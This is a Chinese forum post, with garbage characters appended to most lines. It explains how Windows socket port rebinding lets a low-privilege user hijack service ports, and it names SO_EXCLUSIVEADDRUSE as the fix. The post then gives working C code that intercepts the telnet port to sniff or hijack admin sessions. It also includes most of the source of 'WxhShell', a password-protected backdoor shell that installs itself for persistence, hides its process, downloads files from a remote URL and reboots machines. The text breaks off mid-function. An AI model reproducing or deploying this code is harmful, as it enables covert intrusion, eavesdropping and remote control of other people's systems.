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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :a3LS|W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U!e6FHj7  
~fzuwz  
  saddr.sin_family = AF_INET; .tF|YP==  
{<w +3Va  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BH@b1}  
UP2.]B!d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); */OI *{Q  
:WXf.+IA  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :#="%  
L>Jd7; =  
  这意味着什么?意味着可以进行如下的攻击: MonS hIz  
FfMnul  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V!|e#}1 /  
R[A5JQ$[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;?IT)sNY  
EZ#gp^$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~%y\@x7I  
Ff"gadRXd  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i (HByI  
h(xP_Svj>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IlLn4Iw  
<>4!XPo%J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;R[&pDx  
"S(X[Y'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OM9 6`  
Ly (P=M>"y  
  #include @R:#"  
  #include R Td^ImV  
  #include ZL%VOxYqi  
  #include    6 ,N6jaW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   M%=P)cC  
  int main() p/|(,)'+jx  
  { 3n(*E_n  
  WORD wVersionRequested; t]m!ee8*X<  
  DWORD ret; pZ+j[!  
  WSADATA wsaData; T$b\Q  
  BOOL val; D6=HYqdj  
  SOCKADDR_IN saddr; <jd/t19DB  
  SOCKADDR_IN scaddr; hWGZd~L  
  int err; Uh6mGL z*&  
  SOCKET s; {y);vHf$  
  SOCKET sc; rveVCTbC  
  int caddsize; fwmLJ5o N  
  HANDLE mt; 9[>Lp9l'  
  DWORD tid;   ^o%_W0_r  
  wVersionRequested = MAKEWORD( 2, 2 ); e)pTC97^L  
  err = WSAStartup( wVersionRequested, &wsaData ); Hc!!tbBQ  
  if ( err != 0 ) { ;9rTE|n  
  printf("error!WSAStartup failed!\n"); l L2-.!]R  
  return -1; ~Q!~eTw  
  } B!q?_[k,  
  saddr.sin_family = AF_INET; |Is'-g!  
   Ysk, w,K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pv$tTWk  
)|T`17-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p~>_T7ze  
  saddr.sin_port = htons(23); '\4fU%  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \JU ~k5j  
  { ABWb>EZ8  
  printf("error!socket failed!\n"); +rQg7a}  
  return -1; +>E5X4JC  
  } q0|Z oP  
  val = TRUE; T8q[7Zn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :c;_a-69  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a"qR J-@  
  { oYq,u@oM  
  printf("error!setsockopt failed!\n"); sQ(1/"gb  
  return -1; )l2P}k7`  
  } `Yogq)G}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G^" H*a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]I XAucI]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S1C^+Sla]  
, ,{6m d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3LfTGO  
  { -><QFJ  
  ret=GetLastError(); O|(o8 VS  
  printf("error!bind failed!\n"); ZKsQ2"8{M  
  return -1; >40 GP#Vz  
  } Gmgeve  
  listen(s,2); ||gEs/6-  
  while(1) vU9~[I`^p  
  { }wkaQQh  
  caddsize = sizeof(scaddr); iQj2UTds3  
  //接受连接请求 (1y='L2rj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )=(n/vckM  
  if(sc!=INVALID_SOCKET) z[FI2jl  
  { Q2R-z^pd  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H:E5xz3VQ  
  if(mt==NULL) ris;Iu^v0  
  { gL,"ef+nM  
  printf("Thread Creat Failed!\n"); p[;8  
  break; U$@83?O{iM  
  } Z]e4pR6!  
  } ~GYpa t  
  CloseHandle(mt); G* Ib^;$u  
  } |)';CBb  
  closesocket(s); 4d6% t2  
  WSACleanup(); ;:^ Lv  
  return 0; |?|K\UF(Y  
  }   6#?NL ]A  
  DWORD WINAPI ClientThread(LPVOID lpParam) !Pe1o-O  
  { g(aNyn  
  SOCKET ss = (SOCKET)lpParam; -}AE\qXs/  
  SOCKET sc; Ku&*`dME  
  unsigned char buf[4096]; >EeAPO4  
  SOCKADDR_IN saddr; /\TlO.B=  
  long num; jXH0BPa,  
  DWORD val; d"p2Kx'*3  
  DWORD ret; %,Q;<axzi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Yg|l?d"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $KH@,;Xz  
  saddr.sin_family = AF_INET; kYTOldfY2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E.U0qK],  
  saddr.sin_port = htons(23); XzlIW&"uC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^h"n03VFA  
  { ->Q`'@'|P  
  printf("error!socket failed!\n"); "?`JA7~g  
  return -1; B[Ix?V4yy  
  } g!.Ut:8L9  
  val = 100; sOjF?bCdO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \/ X{n*Hw?  
  { 1wU=WE(kKZ  
  ret = GetLastError();  Q;Q  
  return -1; 3[iSF5%V*p  
  } o9~h%&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `6n!$Cxo  
  { D@}St:m}  
  ret = GetLastError(); PGMv(}%;  
  return -1; mC% %)F'Zf  
  } <?nB,U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +i_'gDy$  
  { *u<rU,C8  
  printf("error!socket connect failed!\n"); giQ{Xrj  
  closesocket(sc); k>$FT `  
  closesocket(ss); EI%M Azj}  
  return -1; %e(9-M4*  
  } k62$:9`5  
  while(1) % i %ew4  
  { %f>X-*}NI-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (v|ixa  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p"g1V7B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CL EpB2_  
  num = recv(ss,buf,4096,0); )#)nBM2\  
  if(num>0) ;K>{_k f  
  send(sc,buf,num,0); y4 dp1<t%  
  else if(num==0) kT>r<`rt  
  break; J& n ^y  
  num = recv(sc,buf,4096,0); 9$:QLE+t  
  if(num>0) 'E@2I9Kj  
  send(ss,buf,num,0); @*bvMEE  
  else if(num==0) #: dR^zr<  
  break; C,9)V5!tP2  
  } D9e+  
  closesocket(ss); Zj:a-=  
  closesocket(sc); [vZfH!vLP  
  return 0 ; 0~(\lkh*!9  
  } 9"[!EKW  
wxH (&CB-{  
Bm65 W  
========================================================== `WraOsoY  
>cBGw'S  
下边附上一个代码,,WXhSHELL kQqBHA  
U)SM),bE[  
========================================================== XhQw+j~1.  
3D]2$a_d  
#include "stdafx.h" Mp]yKl  
4jDs0Hn"  
#include <stdio.h> uWJ#+XK.  
#include <string.h> N8Rm})  
#include <windows.h> L*kh?PS;  
#include <winsock2.h> N |OMj%Uk  
#include <winsvc.h> CpUI|Rs  
#include <urlmon.h> g5lmUKlQ$0  
^zBjG/'7  
#pragma comment (lib, "Ws2_32.lib") bE VO<x+  
#pragma comment (lib, "urlmon.lib") Dq0-Kf,^  
bd@*vu}?}  
#define MAX_USER   100 // 最大客户端连接数 Pmqx ;  
#define BUF_SOCK   200 // sock buffer "3U{h]  
#define KEY_BUFF   255 // 输入 buffer j;ff } b  
,\\%EZ%a  
#define REBOOT     0   // 重启 2rPcNh9  
#define SHUTDOWN   1   // 关机 fcgDU *A%  
@Fm{6^  
#define DEF_PORT   5000 // 监听端口 NqQM! B]  
^8o_Iz)r,  
#define REG_LEN     16   // 注册表键长度 2N8rM}?90  
#define SVC_LEN     80   // NT服务名长度 g:G%Ei~sF  
"N?%mCPI  
// 从dll定义API vjOG?-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %igFHh?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GInZ53cQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *F26}q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .g6PrhzFbk  
Pg!;o= { M  
// wxhshell配置信息 FgFJ0fo  
struct WSCFG { W+F<P@[u<$  
  int ws_port;         // 监听端口 m &0(%  
  char ws_passstr[REG_LEN]; // 口令 8`L#1ybMO  
  int ws_autoins;       // 安装标记, 1=yes 0=no )OW(T^>_'I  
  char ws_regname[REG_LEN]; // 注册表键名 C8bGae(  
  char ws_svcname[REG_LEN]; // 服务名 Q1O_CC}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2uJNc!&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `:-@E2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3/A!_Uc(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lo$Z>u4(c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wW6mYgPN%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fg>B  
7yqSt)/U  
}; ~x4{P;y  
FqT,4SIR  
// default Wxhshell configuration []2$rJZD9  
struct WSCFG wscfg={DEF_PORT, l0:e=q2Ax  
    "xuhuanlingzhe", :_{{PY0PK  
    1, j#Ky0+@V  
    "Wxhshell", z*NC?\  
    "Wxhshell", SIaUrC  
            "WxhShell Service", '[M^f+H|  
    "Wrsky Windows CmdShell Service", '%n<MTL  
    "Please Input Your Password: ", w (vE2Y ?  
  1, ,w9#%=xE  
  "http://www.wrsky.com/wxhshell.exe", O X5Co <u  
  "Wxhshell.exe" +WU|sAK"  
    }; IF36K^K  
`uM0,Z  
// 消息定义模块 6)uPM"cO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KG4#BY&^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CN8@c!mB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3$96+A^M*  
char *msg_ws_ext="\n\rExit."; oUKBb&&O  
char *msg_ws_end="\n\rQuit."; ^hl]s?"3  
char *msg_ws_boot="\n\rReboot..."; (T%F!2i([U  
char *msg_ws_poff="\n\rShutdown..."; !TV_dKa  
char *msg_ws_down="\n\rSave to "; `PQ?8z|  
niBjq#bJi  
char *msg_ws_err="\n\rErr!"; |%2/I>o  
char *msg_ws_ok="\n\rOK!"; =,>TpE  
'Ec:l(2Ec  
char ExeFile[MAX_PATH]; @~!-a s7  
int nUser = 0; 6`s%%v  
HANDLE handles[MAX_USER]; v3hQv)j)  
int OsIsNt; St~SiTJU  
T~wZ  
SERVICE_STATUS       serviceStatus; Dh!iY0Lz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; },Re5W nl  
R$T[%AGZ.  
// 函数声明 &k_wqV  
int Install(void); PcNf TB{  
int Uninstall(void); r:WgjjA%  
int DownloadFile(char *sURL, SOCKET wsh); R[>;_}5">  
int Boot(int flag); 7q2"b?|h  
void HideProc(void); Zy!)8<Cgm'  
int GetOsVer(void); tz0Ttu=xH  
int Wxhshell(SOCKET wsl); :cmI"Bo  
void TalkWithClient(void *cs); aCYm$6LmA  
int CmdShell(SOCKET sock); w ~L\Ebg  
int StartFromService(void); JK:mQ_  
int StartWxhshell(LPSTR lpCmdLine); mNnw G);$  
\AtwO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lEYT{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <<W.x)#:  
MWn L#!  
// 数据结构和表定义 mSk :7ozZ  
SERVICE_TABLE_ENTRY DispatchTable[] = v]`A_)[  
{ \:_.N8"  
{wscfg.ws_svcname, NTServiceMain}, Y#SmZ*zok  
{NULL, NULL} 'wB Huq  
}; g~^{-6Vg  
ot>EnHfV  
// 自我安装 \yX !P1  
int Install(void) zI2KIXcc  
{ e>vUkP y  
  char svExeFile[MAX_PATH]; bE`*Uw4  
  HKEY key; XoxR5arj  
  strcpy(svExeFile,ExeFile); e`Zg7CaDd  
f5=t*9_-[  
// 如果是win9x系统,修改注册表设为自启动 4MtqQq4%  
if(!OsIsNt) { c~L6fvS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )QSt7g|OF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( /x@W`  
  RegCloseKey(key); Gs=a(0 0i?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OJ_2z|f<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z1V'NJI+  
  RegCloseKey(key); z?t(+^  
  return 0; |`(?<m  
    } dE}b8|</  
  } fD#&:)  
} ap'kxOf"1  
else { B[0,\>  
0Yzb=QMD  
// 如果是NT以上系统,安装为系统服务 Am0.c0h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M9 2~iM  
if (schSCManager!=0) J! 6z  
{ |b-Zy~6  
  SC_HANDLE schService = CreateService SAll9W4  
  ( WtdkA Sj  
  schSCManager, AINFua4A  
  wscfg.ws_svcname, 7 6i rb!-  
  wscfg.ws_svcdisp, =<'iLQb1  
  SERVICE_ALL_ACCESS, 0rm;)[SjF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b gc<)=  
  SERVICE_AUTO_START, ;~@PYIp  
  SERVICE_ERROR_NORMAL, ~oW8GQ  
  svExeFile, WGG) mh&-  
  NULL, gJ GBD9wC  
  NULL, nog\,NT  
  NULL, *r?51*J  
  NULL, 2E ; %=e  
  NULL ,^IZ[D>u)  
  ); *ckrn>E{h  
  if (schService!=0) t`1]U4s&I  
  { K7O? {/  
  CloseServiceHandle(schService); ? -F'0-t4%  
  CloseServiceHandle(schSCManager); QUw5~n ;-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S7~F*CGBh  
  strcat(svExeFile,wscfg.ws_svcname); 6 % y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vS t=Ax3]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wCTR-pL^  
  RegCloseKey(key); iBiA0 W  
  return 0; ;?lM|kK  
    } F",abp!  
  } 7fzyD  
  CloseServiceHandle(schSCManager); POg0=32  
} 5 EuJ  
} PKM$*_LcGI  
pnA]@FW  
return 1; ccRk4xR  
} 4%v+ark8  
,WDAcQ8\  
// 自我卸载 muX4Y1M_  
int Uninstall(void) hYZ:" x  
{ :kx#];2i  
  HKEY key; "!/_h >  
re7\nZ<\|  
if(!OsIsNt) { iM/0Yp-v'>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v|RaB  
  RegDeleteValue(key,wscfg.ws_regname); hic$13KuP  
  RegCloseKey(key); ^%X\ }><  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8(f0|@x^  
  RegDeleteValue(key,wscfg.ws_regname); e/Oj T  
  RegCloseKey(key); kt3#_d^El  
  return 0; <$ZT]pT  
  } G~tOCp="p  
} ^oB1 &G  
} 1&pP}v ?  
else { |M/ \'pOe  
PZhZK VZx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OK J%M]<  
if (schSCManager!=0) JHZo:Ad -&  
{ :=7'1H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pbvEIa-Y4  
  if (schService!=0) 5)v^ cR?&  
  { gwz _b  
  if(DeleteService(schService)!=0) { udy;Odt  
  CloseServiceHandle(schService); q4ko}jn  
  CloseServiceHandle(schSCManager); 6:z&ukq E  
  return 0; =+=|{l?F  
  } RH4n0 =2  
  CloseServiceHandle(schService); "l,EcZRjTz  
  } Lm{ o=v  
  CloseServiceHandle(schSCManager); 99>yaW  
} coVT+we  
} M)pi)$&c  
BBJ]>lQ  
return 1; :::f,aCAu  
} o4f9EJY   
d lLk4a+  
// 从指定url下载文件 .*f4e3  
int DownloadFile(char *sURL, SOCKET wsh) #R PB;#{  
{ W!B4< 'Fjc  
  HRESULT hr; wP':B AQ4U  
char seps[]= "/"; 2^ZPO4|  
char *token; "#k(V=y  
char *file; E=*Q\3G~  
char myURL[MAX_PATH]; wEc5{ b5M  
char myFILE[MAX_PATH]; 7CMgvH)O  
cH-Zj  
strcpy(myURL,sURL); CgKSK0/a  
  token=strtok(myURL,seps); ?N*@o.  
  while(token!=NULL) p2vUt  
  { sx^? Iw,N'  
    file=token; ;H r@0f  
  token=strtok(NULL,seps); 64>[pZF8  
  } w&cyGd D5  
uBkn y;  
GetCurrentDirectory(MAX_PATH,myFILE); 7 =*k@9  
strcat(myFILE, "\\"); K$GXXE`  
strcat(myFILE, file); c]R![sa  
  send(wsh,myFILE,strlen(myFILE),0); 3&Rqz9W  
send(wsh,"...",3,0); RX\O'Zwlj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @N{Ht)1r  
  if(hr==S_OK) !jq6cND  
return 0; 3i}B\ {  
else |3@Pt>Ikl  
return 1; kj=2+)!E7  
&LQab>{*K  
} TC#B^m`'p  
2U+p@}cQUA  
// 系统电源模块 B "zg85 e  
int Boot(int flag) 3 v$4LY  
{ #}yFHM?i  
  HANDLE hToken; J5IJy3d  
  TOKEN_PRIVILEGES tkp; u.Yb#?  
X*"O'XCA  
  if(OsIsNt) { X(z-?6N4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L/LN X{|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l>?vjy65  
    tkp.PrivilegeCount = 1; DkKD~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  /?xn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9cj-v}5j  
if(flag==REBOOT) { HKw:fGt/o^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F|Ihq^q  
  return 0; HZ=yfJs nc  
} g|_*(=Q  
else { ?R:Hj=.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~At.V+  
  return 0; 'oL[rO~j  
} Li^!OHro.  
  } c6)zx b  
  else { kxwm08/|f  
if(flag==REBOOT) { O^% ace1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /k"P4\P`+Q  
  return 0; K!gFD  
} s7} )4.vO  
else { -- FtFo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'Pu;]sC  
  return 0; C$gLi8|m  
} GTNTx5H  
} bC-x`a@  
2Hwf:S'  
return 1; a8aqcDs>O  
} hI{Yg$H1  
UQPE)G  
// win9x进程隐藏模块 Oh4WYDyT  
void HideProc(void) F[Sat;Sll  
{ dtl<  
,jcp"-5#j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c?",kzo  
  if ( hKernel != NULL ) }TvAjLIS6  
  { QLG,r^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hDMp^^$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =oDrN7`,B  
    FreeLibrary(hKernel); K_3ZJ  
  } 4]KceE  
.&.CbE8K[  
return; >E=a~ O  
} O8o18m8UH  
&W!@3O{~.  
// 获取操作系统版本 0O4mA&&!oK  
int GetOsVer(void) EtGr& \,  
{ .r'.5RI A  
  OSVERSIONINFO winfo; ]NsaFDi\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sTyGi1  
  GetVersionEx(&winfo); \YS\* 'F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @CDRbXoFk  
  return 1; #JucOWxjY  
  else 3)\qt s5  
  return 0; B=|sLs`I  
} 'WCTjTob/  
GXVGU-br  
// 客户端句柄模块 >.4Sx~VH2  
int Wxhshell(SOCKET wsl) kzXW<V9  
{ +ETw:i9!?  
  SOCKET wsh; C\D4C]/8  
  struct sockaddr_in client; 0fU>L^P_?  
  DWORD myID; blv6  
f}eVfAf  
  while(nUser<MAX_USER) 5GkM7Zu!{j  
{ kGP?Jx\PkH  
  int nSize=sizeof(client); 6suc:rp";  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7Y:s6R|  
  if(wsh==INVALID_SOCKET) return 1; N>Y3[G+  
iwJgU b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l !v#6#iq  
if(handles[nUser]==0) v^ G5 N)F  
  closesocket(wsh); ?VsZo6Z"  
else +%v4Ci"%y  
  nUser++; ;7>--_?=  
  } S(l^TF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WcFZRy-erc  
! +7ve[z  
  return 0; 0=&]!WRT  
} l/LUwDI{  
H#E0S>Jw|  
// 关闭 socket Nl _Jp:8s  
void CloseIt(SOCKET wsh) lc7]=,qyF  
{ qa0Zgn5q  
closesocket(wsh); H l@rS  
nUser--; b}*hodzF  
ExitThread(0); f *vziC<m  
} p?@D'  
GkFNLM5'  
// 客户端请求句柄 V-3]h ba,  
void TalkWithClient(void *cs) ?M2@[w8_  
{ ?dYDfyFfB  
ntejFy9_  
  SOCKET wsh=(SOCKET)cs; v( B4Bz2  
  char pwd[SVC_LEN]; o ++Hdvai  
  char cmd[KEY_BUFF]; C7PiuL?  
char chr[1]; C2v7(  
int i,j; H<"j3qt  
_guY%2% yR  
  while (nUser < MAX_USER) { (k~c]N)v  
v*LL7b0 A  
if(wscfg.ws_passstr) { Kw|`y %~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZlzFmNe60  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d mO|PswW  
  //ZeroMemory(pwd,KEY_BUFF); v5o%y:~  
      i=0; {Xj%JE[V  
  while(i<SVC_LEN) { T9A5L"-6T  
8J0tya"z  
  // 设置超时 I j /J  
  fd_set FdRead; =g:\R$lQ  
  struct timeval TimeOut; jg(A_V  
  FD_ZERO(&FdRead); ->(B: Cz  
  FD_SET(wsh,&FdRead); _G|6xlO  
  TimeOut.tv_sec=8; XQA2uR4h  
  TimeOut.tv_usec=0; SEmD's  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ; o\wSHc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -E1}mL}I`  
y8@!2O4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sBwgl9  
  pwd=chr[0]; Ih0GzyU*4  
  if(chr[0]==0xd || chr[0]==0xa) { 5{> cfN\q  
  pwd=0; DI\sq8J^  
  break; I f(_$>  
  } uu>g(q?4II  
  i++;  a4yU[KK  
    } NO1PGen  
s5HbuyR^  
  // 如果是非法用户,关闭 socket ?kSs7e>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 21qhlkdc  
} 92i# It}-/  
~ocr^V{"<~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wHmEt ORo  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R)=<q]Ms  
?:E;C<Ar  
while(1) { vuf|2!kh/  
!FO)||'[  
  ZeroMemory(cmd,KEY_BUFF); sIpK@BQ'  
3A5" %  
      // 自动支持客户端 telnet标准   ;g9+*$Gw  
  j=0; ;#due  
  while(j<KEY_BUFF) { RUEU n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 62"ND+D4  
  cmd[j]=chr[0]; @."R9s  
  if(chr[0]==0xa || chr[0]==0xd) { /%)J+K)  
  cmd[j]=0; ~VKw%WK  
  break; `PL!>oa(8  
  } QS_u<B  
  j++; \0$?r4A  
    } -l",!sV  
LM} si|  
  // 下载文件 Ud](hp"  
  if(strstr(cmd,"http://")) { >\'yj| U,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~BC5no  
  if(DownloadFile(cmd,wsh)) c1`o3gb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TsQMwV_h  
  else MAXdgL[]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z8x(_ft5  
  } C9h8d   
  else { S(Pal/-"  
~4M]SX1z  
    switch(cmd[0]) { &e(de$}xt  
  _heQ|'(  
  // 帮助 Wq4?`{  
  case '?': { jHd~yCq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pr2d}~q4{  
    break; AXyuXB  
  } SG~R!kN}Q  
  // 安装 fKfi   
  case 'i': { ,O2F}5|;  
    if(Install()) eg3{sDv,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (w.B_9#  
    else Pw")|85  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l6&R g-  
    break; U5klVl  
    } R:E`  
  // 卸载 O/Fzw^  
  case 'r': { vn8Ez6<27  
    if(Uninstall()) qRUz;M4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yoH6g?!O  
    else 4avM:h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j_}e%,}  
    break; dCHU* 7DS  
    } olqHa5qn  
  // 显示 wxhshell 所在路径 (HTVSC%=  
  case 'p': { c[5>kQ-nq  
    char svExeFile[MAX_PATH]; vF_?1|*|  
    strcpy(svExeFile,"\n\r"); .Ee8s]h5W  
      strcat(svExeFile,ExeFile); %>f:m!.  
        send(wsh,svExeFile,strlen(svExeFile),0); csC3Wm{v  
    break; Z5+0?X0i  
    } ISl'g'o  
  // 重启 /XXW4_>  
  case 'b': { th]9@7UE,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xkX, l{6  
    if(Boot(REBOOT)) htjJ0>&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |h#mv~cF  
    else { cv^^NgQ  
    closesocket(wsh); `:8&m  
    ExitThread(0); ?.T=(-  
    } ?D.] c;PR  
    break; 3}H94H)]a  
    } (Yx rZ_F'b  
  // 关机 vs.q<i-u  
